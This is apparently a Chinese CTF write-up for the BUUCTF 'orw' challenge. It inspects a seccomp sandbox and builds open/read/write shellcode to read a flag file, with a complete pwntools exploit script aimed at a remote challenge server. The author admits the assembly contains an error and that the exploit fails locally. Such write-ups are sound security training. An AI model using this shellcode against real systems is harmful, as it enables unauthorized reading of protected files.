# 1. 查看程序
32 位程序,没有开启 NX,初步认为可以利用 shellcode
ida 查看
看到有一个 orw_seccomp()
, seccomp函数
是一个沙盒机制
进去查看(关于沙盒详情见文章 沙盒机制
)
利用工具 seccomp-tools
查看具体过滤情况,
使用命令 seccomp-tools dump ./orw
看到我们可以使用 open/read/write
函数,可以写入执行这几个的函数的 shellcode
来读取 flag
- 通过
open
打开 flag 文件 - 利用
read
读取 flag 到某一地址 - 利用
write
输出这个地址的 flag 即可
# 2.shellcode 构造
利用系统调用方式:
# 1. 利用 shellcraft 构造
shellcode=shellcraft.open("./flag") | |
shellcode+=shellcraft.read('eax','esp',100) #此处 eax 为 3(打开 0,1,2 标准输入,标准输出,标准错误) | |
#read 函数的 fd 之所以是 3,是因为默认情况下,0,1,2 这三个句柄对应的是标准输入,标准输出,标准错误,系统进程默认会打开 0,1,2 这三个文件描述符。所以通常我们 open 的返回值是从 3 开始的(系统调用返回值会保存在 eax 中) | |
shellcode+=shellcraft.write(1,'esp',100) | |
p.send(asm(shellcode)) #记得要用 asm 转成汇编 |
# 2. 手动构造
1. 调用 open 打开 flag 文件:88
调用函数为 sys_open(const *path,0,0)
push 0x0 #字符串是以\x00结尾
push 0x67616c66 #flag的ascill码,小端序(66 "f" ,6c "l" ,61 "a" ,67 "g")
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov eax, 0x5
int 0x80
这里解释为什么先要 push 0x0
【后来发现,这里写错了,先 push 的 0,在栈上应该是高地址,flag 应该在低处,所以这里并没有起到作为终止符的作用,这里最应该是 0flag
】
2. 调用 read 读取 flag
调用函数为 read(0x3,esp,0x100)
(0x3 为文件描述符 0,1,2,写入到 esp,这一部分 esp 没有进行调用不会被影响)
mov ebx,0x3
mov ecx,esp
mov edx, 0x100
mov eax,0x3
int 0x80
3. 调用 write 将 flag 从上面写入的位置输出到屏幕
调用的函数为 write(0x1,esp,0x100)
mov ebx,0x1
mov ecx,esp
mov edx,0x100
mov eax, 0x4
int 0x80
shellcode=asm(" ; ; ; ; ") | |
shellcode+=asm("") | |
shellcode+=asm("只有这里最后一个不用加分号") |
这里就构造完毕 shellcode 了
# 3.exp:
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
#p=process('./orw') | |
#e=ELF('./') | |
p=remote('node4.buuoj.cn',27810) | |
#shellcode = (shellcraft.open("./flag")) | |
#shellcode+=(shellcraft.read('eax','esp',100)) | |
#shellcode+=(shellcraft.write(1,'esp',100)) | |
shellcode=("push 0x0 ;push 0x67616c66 ;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax, 0x5;int 0x80;") | |
shellcode+=("mov ebx,0x3;mov ecx,0x804A0A0;mov edx, 0x100;mov eax,0x3;int 0x80;") | |
shellcode+=("mov ebx,0x1;mov ecx,0x804A0A0;mov edx,0x100;mov eax, 0x4;int 0x80") | |
p.recvuntil("your shellcode:") | |
#payload1=p32()+p32()+p32()+p32() | |
#payload1=p64()+p64()+p64()+p64() | |
#gdb.attach(p,"b *") | |
#gdb.attach(p) | |
#gdb.attach(pid) | |
p.send(asm(shellcode)) | |
#p.recvuntil("") | |
#payload2=p32()+p32()+p32()+p32() | |
#payload2=p64()+p64()+p64()+p64() | |
#p.sendline(payload2) | |
p.interactive() |
本地仍然打不通,应该是环境问题